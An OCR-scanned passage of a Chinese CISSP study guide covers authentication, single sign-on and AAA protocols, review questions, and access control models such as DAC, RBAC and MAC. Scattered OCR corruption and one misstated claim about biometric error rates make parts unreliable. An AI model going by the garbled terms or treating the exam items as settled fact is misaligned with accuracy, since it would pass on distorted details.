访问控制主要分为三种类型 : 预防、 检测和纠正。 预防性访 问控制是为了 防患于未来。 检测性
访 问控制是指在事故发生后进行检测， 并尽力纠正问题， 访 问控制 以行政管理性、 逻辑性和物理性
访 问控制的方式实施。 行政管理性访问控制也就是所说的管理控制 ， 包括工作准则和工作规程。 逻
第 1 3 章 管理身份与认证
辑性访问控制也叫技术性访问控制， 通过技术方式实现。 物理性访问 控制通过使用物理方法保护
主体。
访问控制 的 4 个要素包括: 识别、 认证、 授权和可问 责性。 主体(用户 )需要一个身份(如用户名)，
然后利用认证机制(如密码)证明这一身份。 主体认证后， 授权机制控制其访 问权限， 审计跟踪记录
他们 的行为， 这样他们就必须为其行为负责。
身份认证的三种方法包括: 你知道什么(如密码或 P的)， 你拥有什么(智能卡或令牌)以及你是什
么(通过生物识别技术可以认证的某些生理或行为特征)。 多因素认证即使用一种以上的认证方法，
比单一认证方法更安全。
单点登录用户仅需认证一次就可以访问网络上的所有资源， 不必再次认证。 Kerberos(麻省理工
学院开发的安全认证系统)是一种流行的单点登录认证协议， 采用票据进行认证。 Kerberos 通过主
体数据库、 对称加密和时间 同步系统发送票据。
联合身份管理可以使单点登录访问 多个组织。 多个公司建立或加入一个联盟， 并且同意以某种
方式在多公司之间共享身份。 用户在 自 己组织内进行认证后， 不需再次认证就可访问其他公司的资
源 。 SAML 是互联网上用于单点登录访 问 的常见协议。
AAA 协议提供认证、 授权和可问 责性。 广泛使用 的 AAA 协议是 RAD归队 终端访问控制器访
问 控制系统(TACACS+)和 Diameter。
身份和访问开通生命周期包括为用户 主体创建、 管理和注销账户 。 服务开通的最初步骤包括创
建账户并授权对客体适当的访问权限。 当用户工作变化时， 他们经常要求改变最初的访问权限。 账
户 审核过程可以确保账户修改后的访问权限遵循最小化权限原则。 当员工离开公司时， 应及时禁用
账户 ， 不需要时应注销账户 。
1 3.6 考试要点
了解主体和客体的区别 你可能发现 CISSP 考题和安全文档中通常使用术语主体和客体， 所以
知道它们之间 的 区别是很重要的 。 主体是活跃的实体(例如， 用户)， 他们司 以访问被动客体(例如，
文件)。 用户是主体， 在执行操作或完成一项工作任务时访 问客体。
了解访问控制类型 对于本章提出的几种控制类型 ， 你应该能够加以区分。 访问控制包括预防
措施(阻止有害的和未经授权的活动发生)、 检测措施(发现有害的和未经授权的活动)和纠正措施(在
有害的和未经授权的活动发生后， 使系统恢复正常)。 另 外还有以下几种控制措施。 制止措施通过鼓
励人们避免有害行动而阻止人们违反安全准则。 恢复措施是指在违反安全准则的行为发生后， 试图
修复和恢复资源、 功能和能力 。 指引措施通过指导、 限制或控制客体的行为来执行或鼓励对安全准
则 的遵守 。 补偿措施为 目 前的控制方法提供其他选择 ， 帮助执行和支持安全准则 。
了解访问控制的实施方法 访问控制 以行政管理性访问控制、 逻辑性访问控制和物理性访问控
制 的方式实施。 行政(管理)性控制包括执行整个访问控制的准则或规程。 逻辑/技术性控制包括用于
管理资源和系统访问权限的硬件或软件， 并对资源和系统提供保护。 物理性控制包括部署物理屏障，
物理屏障用 于 阻止与系统的直接接触 ， 阻止访 问系统或进入设备所在区域。
理解识别和认证的区别 访问控制依赖于有效的识别和认证， 所以了解它们之间的 区别十分重
要 。 主体需要一个身份， 身份对于使用者来说可能就是用户名。 主体通过认证信息来证明身份(例如，
匹 配用户名 和密码)。
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CISSP 官方学习指南(第 7 版)
理解授权和可问责性的区别 主体认证后， 系统根据他们的身份来授权对客体的访问权限。 审
计日志和审计追踪记录的事件包括行为主体的身份 。 有效的识别 、 认证和审计构成可问 贵'性。
理解三种认证方法的细节 身份认证的三种方法包括: 你知道什么(例如， 密码或 PIN)， 你拥
有什么(智能卡或令牌)以及你是什么(通过生物识别技术可以认证的某些生理或行为特征)。 多因素认
证即包括一种以上的认证方法， 比单一认证方法更安全。 密码是最弱的一种认证方式， 但是可以通
过增强复杂程度和密保问题来提高安全性。 智能卡包括微处理器和加密证书， 令牌可以提供一次性
密码。 生物识别法通过人体特征(例如指纹)来识别用户 。 交叉识别率验证了 生物识别法的准确性。
研究显示， 第一类错误(错误拒绝率)和第二类错误(错误接受率)的发生概率相 同 。
理解单点登录 单点登录(SSO)是指主体一经授权允许即可访问多个客体， 系统不必再次认证的
一种机制。 Kerberos 是最常见的运用于组织的一种单点登录方法， 使用对称加密、 采用票据认证身
份并提供授权。 当多个公司想要使用 同一单点登录系统时， 他们经常会使用联合身份管理系统。 在
该系统中 ， 公司联盟或公司 团体通常会达成统一的授权方法。 SA岛怔(安全断言标记语言)常用于共享
联合身份信息。 其他的单点登录方法是脚本访问 ， 例如 SESAME 和 KryptoKnighto OAuth 协议和
OpenID 协议是 目 前应用于网络的两种较新的单点登录技术。 在很多大型公司 ， 例如谷歌， OAuth 2.0
远 比 OAuth 1 .0 更受欢迎。
理解AAA 协议的 目 的 有多种协议提供了集中身份认证、 授权以及可问 责服务。 网络访问(或
远程访问)系统使用 AAA 协议。 例如， 一台网络访问服务器作为客户端使用 RADIUS 服务器，
RADIUS 服务器就提供 AAA 协议。 RADIUS 使用用户数据报协议(UDP)， 仅需口令加密。 终端访问
控制器访问控制系统σ'ACACS+)使用传输控制协议σCP)， 以加密整个会话。 Diameter 协议是为了
提升 RAD町S 协议而出现的 ， 但是 Diameter 协议与 RADIUS 协议不兼容。 Diameter 协议被越来越
广泛地应用于移动 IP 系统， 例如智能手机。
理解身份及访问服务开通生命周期 身份及访问服务开通生命周期是指账户 的创建、 管理和注
销。 服务开通账户要确保拥有完成任务所需的适当权限。 定期审核可以确保账户不会拥有过渡特权，
并且遵循最小化权限原则 。 撤回包括当员工离开公司 时应及时禁用 账户 ， 不 需要时应注销账户 。
1 3.7 书 面实验室
l . 说出至少三种访问 控制类型的名称。
2. 描述三个主要因素的身份认证类型 。
3 . 说出允许用户 在多 个组织一次登录， 不用再次认证的访问 资源的方法。
4. 识别身份和访问服务开通生命周期 中 的三个主要元素。
1 3.8 复习题
l . 以 下哪一项不是组织想要用访 问控制保护的资产?
A. 信 息
B. 系统
C. 设备
D. 设施
E. 以上都不是
2. 以 下哪一项关于主体是正确的 ?
A. 主体总是用户账户 。
B. 主体总是提供或承载信息或数据的实体。
c. 主体是始终接收有关客体或客体数据的实体。
D. 单一实体永远无法在主体和客体之间改变 。
第 1 3 章 管理身份与认证
3. 哪种访问控制类型采用 围栏、 安全策略、 安全意识培训和防病毒软件来防止出 现不必要的或
未经授权的活动 ?
A. 预 防
B. 检测
c. 纠 正
D. 指令
4. 哪个访问控制类型采用硬件或软件机制来管理对资源和系统的访问， 井提供对这些资源和系
统的保护 ?
A. 行政管理性访 问 控制
B. 逻辑/技术性访 问 控制
C. 物理性访问 控制
D. 预 防性访 问控制
5. 下 列哪一项最能表示控制资产访 问 时的主要 目 标?
A. 保持系统和数据的机密性， 完整性和可用性 。
B. 确保只有合法的对象可以在系统上进行认证。
C. 防止未经授权地访 问对象。
D. 确保所有主体进行认证。
6. 用户用登录 ID 和密码登录。 登录 ID的目 的 是什么 ?
A. 认证
B. 授权
C. 问 责
D. 识别
7. 可问责性不需要下列哪一项 ?
A. 识别
B. 认证
C. 审 计
D. 授权
8. 可 以用 什么来防止用户 使用两个 口 令进行轮转?
A. 密码复杂度
B. 密码历史记录
C. 密码年龄
D. 密码长度
413
414
CISSP 官方学习指南(第 7 版)
9. 下列哪一项最能说明密码短语的好处?
人 简短 。
B. 很容易记住 。
c. 包括一个单独的字符集。
D. 容易破解。
1 0. 下列哪一项是类型 2 认证因素的例子 ?
A. 你有什么
B. 你是什么
C. 你做什么
D. 你知道什么
11. 组织分发设备给员工。 这些设备每 60 秒产生一次密码。 组织内 的托管服务器在任何给定的
时 间知道这个密码 。 这是什么类型的设备?
A. 同步令牌
B. 异步令牌
c. 智 能卡
D. 通用访问卡
12. 下列哪一项基于主体的物理特征来认证?
A. �lé户 ID
B. 生物识别技术
C. 令牌
D. PIN
13. 生物识别设备的交叉错误率(CER)说明 了 什么 ?
A. 表示灵敏度过高。
B. 表示灵敏度太低。
C. 说明错误拒绝率等于错误接受率的点。
D. 当 足够高时， 表 明生物识别设备是高度精确 的 。
14. 一种生物识别系统己经错误拒绝了 一个有效用 户 ， 指示该用户无法识别。 这是什么类型的
错误?
A. 类型 l 错误
B. 类型 2 错误
C. 交叉错误率
D 相等错误率
15. Kerberos 的主要 目 的是什么 ?
A. 机密性
B. 完整性
C. 认i正
D. 可问责
1 6. 以下哪一项是支持联合身份管理系统的最佳选择?
A. Kerberos
B. 超文本标记语言(HTML)
C. 可扩展标记语言(XML)
D. 安全断言标记语言(SAML)
1 7. 在 RADIUS 架构中 ， 网络接入服务器 的功 能是什么 ?
A. 认证服务器
C. 客户端
C. AAA 服务器
D. 防火墙
第 1 3 章 管理身份与认证
1 8. 以下哪个 AAA 协议基于 RADIUS， 并支持移动 IP 和 IP 语音 电话?
A. 分布式访问 控制
B. Diameter
C. TACACS+
D. TACACS
请参考下面的场景回答第 1 9 和第 20 题 。
一名管理员在一个组织里工作了 1 0 多年。 他 己经在公司 内部的不同部门 之间换岗 多次， 并保留
了 任职期间在每一个工作岗位上的特权。 最近， 主管告诫他不要对系统进行未授权的更改。 但是他
又一次对系统做出了一个未授权的更改， 这导致一个意想不到的中断， 管理层决定终止他在公司 的
工作。 第二天他回到办公室， 清理办公桌和随身物品 。 在此期间 ， 他安装了一个恶意脚本， 并设置
在接下来每月 的第一天运行逻辑炸弹。 该脚本将更改管理员密码、 删除文件井关闭数据中心的 1 00
台服务器。
1 9. 下 列哪条基本原则 会被在职期间 的管理员违反?
A. 隐式拒绝
B. 可用性损失
C. 防御性特权
D. 最小特权
20. 只 要被雇佣 ， 这个用 户 的账户会发现存在什么 问题?
A 策略需要强认证
B. 多因素认证
c. 记录
D. 账户 审 查
41 5
第 14 2主二
与王
控制和监控访问
本章中覆盖的 CISSP 考试大纲包含 :
身份与访问管理
• E. 实施和管理授权机制
E. l 基于角 色的访 问 控制(阻AC)模型
E.2 基于规则 的访 问控制模型
E.3 强制访 问控制(MAC)
E.4 自 主访问控制(DAC)
• F. 保护和缓解对访问 控制 的攻击
第 13章"管理身份与认证" 提出 了 几个与 CISSP 认证考试通用知识体系(CBK)中的身份与访 问
管理域相关的重要主题。 本章基于这些主题， 并包括一些常见的访问控制模型的关键信息， 还包括
关于如何预防或缓解访问控制攻击的信息。 一定要阅读和研究每一章的材料， 以确保完全覆盖这一
知识域的关键 内容。
14.1 对比访问控制模型
第 13 章重点关注身份和认证。 认证对象后， 下一步就是授权。 授权主体的问客体的方法根据不
同 IT 系 统所使用 的访问控制方法的不同而不同。
提示 :
主体走访问被动对象的活跃实体， 客体是向活跃主体提供信息的被动实体。 例如， 当 用 户访问
文件时 ， 用户就是主体， 文件就是客体。
访问控制技术有几个类别， CISSP CIB 中 明确提到了 4 个: 自 主访问控制ρAC)、 强制访问控
制仙也C)、 基于角色的访问控制(role-BAC)和基于规则的访问控制(rule-BAC)。 以下部分介绍了 这些
模型所使用 的一些基本原则 ， 并对模型进行了 更深入的描述。
418
CISSP 官方学习指南(第 7 版)
14.1 .1 对比许可 、 权限和特权
研究访问控制主题时， 你会经常遇到许可、 权限和特权这些术语。 有些人交替使用这些术语，
但它们的 意思并不总是一样。
许可 一般情况下 ， 许可是指授予对象的访问权以及对具体访问权内容的确定。 如果对文件有
读取许可， 就能打开和阅读文件。 可 以授予用户权限来创建、 读取、 编辑或删除文件服务器上的一
个文件。 类似地， 可 以授予用户对文件的访问权限， 所以在这种情况下， 访问权和许可是同义的。
例如， 你可能被授予读取和执行应用程序文件的许可， 这样你就有了运行应用程序的权限。 此外，
你可能被授予数据库 内 的数据权限， 这使你能够在数据库中 检索或更新信息。
权限 权限主要是指对一个对象采取行动的能力 。 例如， 一个用户可能有权修改电脑上的系统
时间或有权恢复备份数据。 这是一个微妙的区别 ， 并不强调 。 然而， 你很少会看到将在系统上采取
行动的许可称为权限。
特权 特权是许可和权限的结合。 例如， 电脑管理员会有完整的特权， 允许管理员在电脑上有
充分的许可和权限。 管理员将能够在计算机上执行任何操作井访 问任何数据 。
1 4. 1 .2 理解搜权机制
访问控制模型使用许多不同类型的授权机制或方法来控制谁可以访问特定的对象 。 下面简要介
绍 一些常见的机制和概念 。
隐式拒绝 访问控制的基本原则是隐式拒绝， 并且为大多数授权机制所使用。 隐式拒绝原则确
保 了对一个对象的访问被拒绝， 除非访问 已被显式地授予一个主体。 例如， 想象管理员 明确授予 Jeff
Full 对一个文件的完全控制权限， 但不显式地把权限授予其他任何人。 Mary没有任何访问权， 即使
管理员没有明确拒绝来 自 她的访问 。 相反， 隐式拒绝原则拒绝给予 陆可和除 JeffFull 以外的任何其
他人访 问权 。
访问控制矩阵 访问控制矩阵是一个包括主体、 客体和分配权限的表格。 当主体想要执行某个
动作时， 系统检查访问控制矩阵来确定主体是否有适当的权限来执行该动作。 例如， 一个访问控制
矩阵可以包括一组文件作为客体， 一组用户 作为主体。 它将显示每个用户为每个文件授予的确切权
限。 注意， 内 容远远超过单个访问控制列表(ACL)。 在这个例子中 ， 在矩阵中列出 的每个文件都有
单独的 ACL ， 列明了授权用户 和他们被分配的权限。
功能表 功能表是确定分配给主体特权的另一种方式。 它们不同于 ACL. 因为功能表关注主体
(如用户 、 组或角色)。 例如， 为会计角色创建的功能表将包括会计角色可以访问 的所有客体列表，
以及分配给会计角色对这些对象的特定权限。 相 比之下， ACL 专注于客体。 ACL 是一些会列出 被
授权访 问 文件 的所有用 户 和/或组及其具体授权内 容的文件。
提示 :
ACL 和功能表的 区别是专注点。 ACL 专注于客体， 能识别对任何特定客体才圭予的主体访问权。
功 能表专注于主体 ， 能识别主体可以访 问 的客休。
限制接口 应用程序使用限制接口 来根据用户 的特权限制用户 可以做什么或看什么 。 拥有完整
特权的用户对应用程序的所有功能都有访问权。 拥有限制特权的用户访问权有限。 应用程序使用不
第 14 章 控制和监控访问
同 的方法限制接口 。 如果用户没有权限使用它， 那么一种常见的方法是隐藏功能。 例如， 管理员可
以通过菜单或右击某项来获得命令， 但如果普通用户没有权限 ， 命令就不会出现。 其他时候， 应用
程序显示菜单项 ， 但它们是暗的或禁用的。 普通用户可以看到菜单项 ， 但无法使用 。
内容有关的控制 内 容有关的控制基于客体中的内容来限制对数据的访问。 数据库视图是基于
内容的控制。 视图从一个或多个表 中检索特定列 ， 创建一个虚拟表。 例如， 数据库中 的客户表可能
包括客户名称、 电子邮件地址、 电话号码和信用卡数据。 基于客户 的视图只会向用户展示客户名称
和 电子邮件地址， 但没有别的信息。 被授予访问视图权限的用户可以看到客户名称和电子邮件地址，
但不能访问 底层表 中 的数据。
上下文相关的控制 上下文相关的访问控制 需要在授予用户访问权之前进行特定的活动。例如，
考虑在网上销售数码产品 的交易的数据流。 用户将产品添加到购物车中 ， 开始结账过程。 结账流程
的第一页显示购物车中的商品， 下一个页面收集信用卡数据， 最后一页确认购买并提供下载数码商
品 的指令。 如果用户不先完成购买过程， 系统会拒绝对下载页面的访问。 也可以使用 日 期和时间控
制作为上下文相关的控制 。 例如， 可 以基于当前 日 期和/或时间 限制对计算机和应用程序的访问。 如
果用户 试 图在允许时间之外的时间访问资源 ， 系 统就会拒绝他们 的访问。
知其所需 这条原则确保主体只在他们的工作任务和工作职能有要求时被授予访问权。 主体可
能有访 问 机密或限制数据 的许可 ， 但没有获得数据访 问授权， 除非他们真正需要来执行工作。
最小特权 最小特权原则确保主体只被授予他们执行工作任务和工作职能所需的特权。 这一原
则有时和 " 知其所需" 原则混为一谈。 唯一的 区别在于， 最小特权还将包括在系统上采取行动的权利。
职责分离 这一原则确保敏感功能被分成由两个或两个以上员工执行的任务， 这有助于通过创
建制衡系统来防止欺诈和错误。
14.1 .3 用 安全策略定义需求
安全策略是一个定义了组织安全需求的文档 ， 它识别需要保护的资产， 以及安全解决方案应该
去保护它们的程度。 一些组织将安全策略创建为一个单独的文件， 其他组织创建多个安全策略， 各
自 关注单独 的 区域。
策略是访问控制的一个重要元素， 因 为它们帮助组织内的人员 了 解什么安全需求是重要的。 高
层领导批准安全策略， 并且在这一过程中对组织的安全需求进行广泛的概述。 然而， 安全策略通常
不涉及有关如何满足安全需求或如何实现策略的细节。 例如 ， 它可能会说明实现和执行职责分离和
最小特权原则的必要性 ， 而不会说明如何这样做。 组织 内 的专业人士使用 的安全策略将作为实现安
全需求的指导。
提示 :
第 1 章 "通过原则和策咯的安全治理" 中对安全策略有更深度的说明 ， 包括有关标准、 步骤和
指导方针的详细信息。
14.1 .4 部署深度防御
组织使用深度防护策略实现访 问控制 。 这使用多层访问控制来提供多层安全。 例如图 1 4.1， 其
中显示了用两台服务器和两个磁盘来表示组织要保护的资产。 入侵者或攻击者需要攻克多层防御才
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420
CISSP 官方学习指南(第 7 版)
能到达这些受保护 的资产。
图 14.1 多层安全的深度防护
物理性访问
控制
逻辑/技术性
访问控制
行政管理性
访 问控制
组织使用 多种方法实施控制。 不能仅依靠技术来提供安全; 也必须使用物理性访问控制和行政
管理性访问控制 。 例如， 如果一台服务器有超强认证但被存储在一张无防备的办公桌上， 一个小偷
可 以容易偷到， 并不慌不忙地侵入系统。 同样， 用户可能有很强的密码， 但是社会工程师可以忽悠
无知的用户放弃密码。
深度防御的概念强调 了 几个重要的点:
• 组织的安全政策， 这是管理访问控制之一， 通过定义安全需求为资产提供了 一层防御。
• 人员是防御的重要组成部分 。 然而， 他们需要接受适当的培训和教育来实现、 符合、 支持
组织安全策略中 定义 的安全元素。
• 行政管理性、 技术性和物理访问控制 的结合提供更为强大的防御。 只 使用行政管理性、 技
术性或物理访问 控制之一会带来脆弱性， 攻击者 可 以发现和利用这些脆弱性 。
14.1 .5 自 主访问控制
使用 自 主访问控制ρ'AC)系统允许客体的所有者、 创建者或数据保管者控制和定义主体对该客
体的访问。 所有客体都有拥有者， 并且访问控制基于客体所有者的 自 由决定。 例如， 如果用户创建
了一个新的 电子表格文件， 那么该用户就是这个文件的所有者 。 作为文件的所有者， 用户可以更改
文件的权限， 从而准许或拒绝其他主体进行访问 。 基于身份的访问控制是 DAC 的一个子集， 因 为
系 统根据用户 身份识别井分配资源所有权给身份。
常常使用针对客体的访问控制列表(ACυ来实现 DAC 模型。 每个 ACL 都定义了 对主体准许或
限制的访问类型。 因为客体的所有者可以改变针对客体的 ACL 所以自主访问控制并不提供集中控
制 的管理系统。 访问对 象很容易改变， 特别是与强制访 问 控制 的静态特性相 比 。
在 DAC 环境中 ， 管理员可以轻松地挂起用户 的权限(在他们离开时， 例如度假)。 同样的， 很容
易禁用账户(当用户 离开组织时)。
第 14 章 控制和监控访问
提示 :
在 自 主访问控制模型 中 ， 每个客体都有所有者(或数据保管 员 )， 所有者完全控制他们 的客休。
ACL 中保存着权F民(如文件的读取和修改)， 所有者可以很容易地更改权限。 这使得模型 非常灵活。
1 4. 1 .6 非自主访问控制
可自由支配和不可任意支配的访问控制之间 的主要区别在于如何对它们进行控制和管理。 管理
员会对不可任意支配的访问控制进行集中管理， 并可以做出影响整个环境的改变。 相 比之下， 自 主
访问控制模型允许所有者做 出 自 己的更改， 且他们所做的更改不会影响环境中 的其他地区 。
在非 DAC 模型中 ， 访 问不关注用户 的身份。 相反， 支配整个环境的静态规则组管理访问 。 非
DAC 系统集中控制且易于管理(尽管不灵活)。 一般来说， 任何不是可 自 由支配的模型都是非可任意
支配的模型， 这包括基于规则 、 基于角色和基于格子的访 问 控制 。
1 . 基于角色的访问控制
采用基于角色或基于任务的访问控制系统基于主体的角色或分配的任务定义主体访问对象的能
力 。 基于角 色 的访问控制(role-BAC)经常使用组来实现。
例如， 一家银行有信贷员 、 出 纳员 、 经理。 管理员 可以创建一个名为 "信贷员 " 的组， 将每个
信贷员 的用户账户加入这个组， 然后为这个组指定适当 的权限 ， 如 图 1 4.2 所示。 如果组织雇用新的
信贷员 ， 管理员 只 需将新的信贷员添加到这个信贷员组， 新员工会 自动拥有和这个组中其他信贷员
相 同 的权限。 管理员将为出纳员和经理采取类似的措施。
服务器 l
8 8 8
\ 土 /
增加用户 为
信贷员角色
信贷员
角 色
分配恰当 文件和文件夹许可给信贷员
图 14.2 基于角色的访问控制
服务器 2
这有助于通过防止特权蠕变实施最小特权原则。 特权蠕变是用户 随着角色和访问需求的变化不
断积累特权的趋势。 理想情况下， 当用户改变在组织内 的工作时 ， 管理员会撤消用户特权。 然而，
421
422
CISSP 官方学习指南(第 7 版)
当特权直接分配给用户 时， 识别和撤消所有不需要的用户 特权就是极具挑战性的任务。
管理员可以轻松地取消不需要的权限， 只 需从一个组中删除用户的账户 。 一旦管理员从组中删
除一个用户 ， 该用户就不再享有分配给该组的特权。 例如， 如果一个信贷员转至另一个部门， 管理
员可以把该信贷员 的账户从信贷员组中删除。 这会将信贷员 组的所有特权都从该用户账户 中删除。
管理员通过工作描述或工作功能确定角色(组)。 在许多情况下， 组织会通过组织结构图记录层
级结构 。 位于管理职位的用户 相 比担负临时工作的用户对资源的访问权更大。
基于角色的访问控制在有频繁人事变动的动态环境中是有用 的， 因 为管理员只需将新用户添加
到适当的角色就可以轻松地授予多个权限。 值得注意的是， 用户可 以属于多个角色或组。 例如， 使
用相同的银行场景， 经理可能属于经理角色、 信贷员角色以及出纳员角色。 这使得经理可以访问银
行员工能够访 问 的所有资源。
提示 :
一个关于基于角 色的访问拉制模型 的特色观点走: 主体可以通过他们在角 色中的资格对资源享
有访问权。 角 色是基于工作或任务的 ， 管理员 会对 角 色分配特权。 role-BAC 模型对于 实施最小特权
原则非常有用 ， 因 为 特权可以 通过从角 色 中 移 除用户账户 而被很容易 地撤消 。
很容易混淆 DAC 和 role-BAC. 因 为它们都可以使用组来将用户组织到可管理单元中， 但它们
在部署和使用上不同 。 在 DAC 模型中， 客体有所有者， 所有者确定谁有权访问 。 在 role-BAC 模型
中 ， 管理员确定主体特权， 并将特权分配给角色或组。 在严格的 role-BAC 模型中 ， 管理员不会把特
权直接分配给用户 ， 而只 会通过将用户 账户 添加到角色或组中来授予特权。
另 一种与 role-BAC 相关的方法是基于任务的访问控制σBAC)o TBAC 与 role-BAC 相似， 但不
是每个用户被分配一个或多个角色， 而是会被分配一系列的任务。 这些都与为用户 账户 相关的个人
分配的工作任务相关 。 在 TBAC 下 ， 重 点是通过分配任务而不是通过用户 身份来控制访 问 。
@ 真实场景
应用程序角色
许多 应用程序都4却有 基于角 色的访问控制 ， 因为它们降低了 维护应用程序的总劳动力成本。 举
一个简单的例子， WordPress 是一个流行的基于 Web 的应用程序 ， 用 于博客和内容管理系统。
WordPress 包括 5 个角 色， 按照层次结构进行组织 。 从最少特权到最多 特权的用 户 为订阅者、
投稿者 、 作者 、 编辑和管理员 。 每个 高 级角 色 都拥有低级角 色的所有权限。
订阅者可以修改在他们 的用 户 配直文件 中用 于修改页 面感观的一些元素。 投稿者可以创建、 编
辑和删除自 己发表的 帖子。 作者可以创建、 编辑和发布帖子。 他们还可以编辑和删除 自 己发表的 帖
子 ， 并上传文件 ， 甚至还可以管理网站的 页函， 包括编辑和删除页面。 管理员 可以在网 站上做任何
事 ， 包括管理潜在的主题 、 插件和用 户 。
2. 基于规则的访问控制
基于规则的访问控制(rule-BAC)使用一套规则、 限制或过滤器来确定能以及不能出现在系统上
的东西， 包括给予主体访问客体的权限， 或授予主体执行某个动作的能力。 有关 rule -BAC 模型的
一个独特特征是 : 它们有适用 于所有主体的 全局规则 。
第 14章 控制和监控访问
rule-BAC 模型的一个常见例子是防火墙。 防火墙包括 ACL 中 的一组规则或过滤器， 由管理员
定义。 防火墙检查所有流经防火墙的流量， 并只允许符合规则 的流量通过。
防火墙包含一条最终规则(称为隐式拒绝规则)， 会拒绝所有其他流量。 例如， 最终规则可能会
通过否认所有来显示防火墙应该阻止网络内外的所有其他流量。 换句话说， 如果流量不符合以往任
何显式定义规则的条件 ， 那么最终规则就确保流量被阻塞。 最终规则有时在 ACL 中是可视的， 这
样就可以看到它 。 其他时候， 隐式拒绝规则作为隐含的最终规则 ， 但并没有在 ACL 中 明确说明 。
注意 :
我们在本书 中使用 了 一些缩咯坷， 如 DAC、 MAC rule -BAC、 role-BAC。 不过， CISSP 考试
通常会在考题中拼出 所有术语和缩咯词。 研究每个模型及其特征。 然而， 你不需要记住缩咯词 。
3. 基于属性的访问控制
传统的 rule-BAC 模型包括适用于所有用户 的全局规则。 然而， rule-BAC 的一个高级实现是基
于属性的访问控制模型(础AC)o ABAC 模型使用包括多个属性的规则的策略。 许多软件定义的网
络应用程序使用 ABAC 模型。
例如， CloudGenix 创建了一个软件定义的广域网(SD-WM叼解决方案， 用于实现以允许或阻止
流量的策略。 管理员 使用普通语句创建了 ABAC 策略， 如 "使用平板电脑或智能手机允许经理访问
广域网 "。 这允许拥有经理角 色 的用户使用平板电脑或智 能手机访问广域网 。 注意这是如何对
rule-BAC 模型进行 改善的。 rule-BAC 适用于所有用 户 ， 但 ABAC 可 以更具体。
4. 强制访问控制
强制访问控制仙1AC)模型依赖于分类标签的使用。 每个分类标签代表一个安全域或安全领域。
安全域是共享公共安全策略的主客体集合。 例如， 安全域可以有秘密标签， MAC 模型将以 同样的
方式用秘密标签保护所有对象。 当主体有匹配的秘密标签时， 它们只 能访问带有秘密标签的客体。
此外 ， 主体获得秘密标签的要求对于所有主体来说都是一样的 。
基于用户 的许可等级， 他们会有分配给他们的标签， 这是一种特权。 同样， 客体由标签来标明
它们的分类水平或敏感度 。 例如， 美国军方使用绝密、 秘密和机密标签对数据进行分类。 管理员 可
以对具有绝密许可的用户授予访问绝密数据的权利 。 然而， 管理员不能对低级许可的用户授予访问
绝密数据的权利 。
私营部门 的组织经常使用的标签包括机密(或专用)、 私人、 敏感和公开。 政府使用的标签由法
律规定， 而私营部门可以 自 由使用他们选择的任何标签。
MAC 模型通常被称为基于格子的模型 。 图 14.3 显示了 一个基于格子的 MAC 模型示例 。 这让
人想起花园中的格子， 如用来帮助玫瑰攀爬的玫瑰格。 t示记为机密、 私人、 敏感和公开的水平线标
记 了分类水平的上界 。 例如， 在公开和敏感之间的区域包括标记为敏感的客体(上限)。 具有敏感标
签 的用户可以访问敏感数据 。
MAC 模型还允许标签识别更多的安全域。 在机密部分(私人和机密之[町， 有 4 个独立的安全域，
标记为 Lentil， Foil、 Crimson 和 Matterhom。 这些都包括机密数据， 但保存在单独的隔间， 以便获
得附加保护层。 持有机密标签的用户还需要额外的标签来访问这些隔间 的机密数据。 例如， 为访问
Lentil 数据， 用户需要机密标签和 Lentil 标签。 同样， 带有 Domino、 Primrose、 Sleu由 和 Potluck 标
签的隔间包括私人数据 。 用 户 需要私人标签和隔 间标签才能访问相应隔间中的数据。
423
CISSP 官方学习指南(第 7 版)
Lentil
Domino
机密
Foil Crimson Ma忧erhorn
私人
Primrose Sleuth Potluck
敏感
公开
图 14.3 基 于格子的访问控制所提供的边界表示
图 14.3 中 的标签是二战军事行动的名字， 但组织可以为标签设定任何名称。 关键是这些部分为
客体(如数据)提供了额外的隔间划分级别。 注意 ， 敏感数据(公开和敏感边界之间)没有任何额外标签。
拿有敏感标签的用户可以访 问带有敏感标签的任何数据 。
组织内 的人员识别标签， 并定义它们的含义以及获取标签的要求。 管理员然后将标签分配给主
体和客体。 标签到位后， 系统基于分配的标签决定访 问权。
在 MAC 模型中使用 隔间划分使得 " 知其所需 " 原则变得必要。 拥有机密标签的用户 不会自动
获得对机密部分隔间的访问权。 然而， 如果他们的工作要求他们访问特定的数据， 如带有 CrÏmson
标签的数据， 管理员 可 以给他们分配 Crimson 标签， 使他们获得 Crimson 隔间的访 问权 。
强制访问控制是禁止的而非许可的， 它使用隐式的拒绝哲学。 如果用户没有获得对数据的具体访
问授权， 系统会拒绝他们访问相关联的数据。 MAC模型比DAC模型更安全， 但不够灵活、 不可扩展。
提示 :
MAC 和基于规则 的访问控制之间 的 区别 因素是: MAC 控制有标签， 而基于规则 的访问控制 不
使用 标签。
安全分类表示敏感度层次。 例如， 如果认为军事安全标签有绝密、 保密、 机密和非机密， 绝密
标签就包括最敏感的数据 ， 而非机密就是最不敏感的。 因为有这个层次， 具有最高机密数据许可的
人就能够访问保密及敏感度更低的数据。 然而， 分类不需要包括较低水平。 因此可以使用 MAC 标
签 ， 以便对高级标签的许可不包括对较低级标签的许可。
提示 :
424
MAC模型 的 关键在于每个客体和主体都有标签。 这些标签是预定义的 ， 系统基于被分配的标签
决定访问权。
MAC 模型中的分类使用 以 下三种类型的环境之一:
分层环境 分层环境将有序结构中 的各个分类标签与低安全等级、 中 安全等级、 高安全等级相
互联系， 如分别为机密、 保密和绝密。 结构中的每个级别或分类标签都相关。 一个级别的许可授予
主体访问这一级别以及更低级客体的权限， 但禁止访问更高级别的所有客体。 例如， 有绝密许可的
人可 以访 问绝密数据和保密数据。
隔间区分环境 在隔间 区分环境中 ， 一个安全域和另一个安全感之间没有关系。 每个域代表一
个单独的隔 间 。 为了获取对某个客体的访 问权， 主体必须有对其安全域的具体许可。
混合环境 混合环境结合了 分层和隔间 区分的概念， 以使每个等级水平可能包含更多细分等级，
第 14 章 控制和监控访问
与安全域的剩余部分相隔离。 主体必须有正确的许可， 以及在某个特定隔间的 " 需知 " 数据来获得
对隔间区分客体的访问。 混合 MAC 环境提供对访问 的粒状控制， 但随着增长变得越来越难以管理。
图 14.3 就是混合环境的一个例子。
1 4.2 理解访问 控制 攻击方式
正如第 1 3 章所述， 访问控制 的一个 目 标是要阻止针对客体的未授权访问 ， 包括访问任何系统信
息(如网络、 服务、 通信连接、 计算机和未授权访问 数据等)。 除了控制访问 ， π 安全方法能够防止
未授权的披露和变更， 并提供一致的资源可用性。 换句话说， 1T 安全方法试图防止机密性破坏、 完
整性破坏和可用性破坏。
基于此， 安全专家需要知道常见的攻击方法， 以便他们能够采取积极的措施来加以阻止， 以及
